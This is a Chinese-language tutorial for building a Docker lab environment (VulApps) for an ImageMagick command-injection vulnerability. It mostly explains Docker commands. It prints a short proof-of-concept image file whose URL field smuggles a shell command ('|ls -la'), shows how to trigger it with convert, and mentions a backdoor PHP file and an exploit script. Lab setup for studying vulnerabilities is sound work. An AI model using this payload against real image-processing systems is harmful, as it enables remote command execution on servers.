首先安装好docker
。
环境地址
GitHub地址:
https://github.com/Medicean/VulApps
镜像地址:
https://hub.docker.com/r/medicean/vulapps/
镜像的各种Tag:
https://hub.docker.com/r/medicean/vulapps/tags/
环境搭建
获取镜像
$ docker pull medicean/vulapps:i_imagemagick_1
其中,medicean/vulapps
是镜像名,后面冒号接具体的Tag
。
运行镜像
$ docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
run
命令是create
命令和start
命令的结合。类似git的pull
命令是fetch
和merge
命令的结合。- -d 表示
daemon
,作为后台守护进程运行。 - -p 表示
port
,8000:80
前者为默认的本地(127.0.0.1)端口,后者为镜像的端口。 - –name=i_imagemagick_1 ,显式指定容器(Container)的名字,虽然不显式指定,docker也会帮你指定一个名字(细心的可以发现docker指定的名字还蛮有意思的:) )。
然后
$ docker ps -a
显示所有的docker容器,以及它们的状态。
容器运行起来之后,使用
$ docker exec i_imagemagick_1 cat /poc.png
命令让指定的容器执行指定的命令。
这里是指定了i_imagemagick_1
这个容器(也可以用它的完整Id或者前4位数字代替),打印出根目录的poc.png
文件的内容
$ cat /poc.png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://evalbug.com/"|ls -la")'
pop graphic-context
这个/poc.png
就是PoC!
当在容器shell里执行时
$ convert /poc.png 1.png
或通过物理机执行
$ docker exec i_imagemagick_1 convert /poc.png 1.png
漏洞触发。
搭建好环境之后访问127.0.0.1:8000
。这里8000映射了镜像里的80端口,用于HTTP访问具体的说明信息,文件位于/var/www/html/index.php
。
漏洞利用
后门——poc.php
进入容器的交互式shell
$ docker run -t -i medicean/vulapps:i_imagemagick_1 "/bin/bash"
之后,查看poc.php
位于/var/www/html/poc.php
利用——poc.py
https://github.com/Medicean/VulApps/blob/master/i/imagemagick/1/poc.py
附录
Docker环境搭建:
https://docs.docker.com/engine/installation
Docker中文指南:
http://www.heblug.org/chinese_docker/userguide/dockerizing.html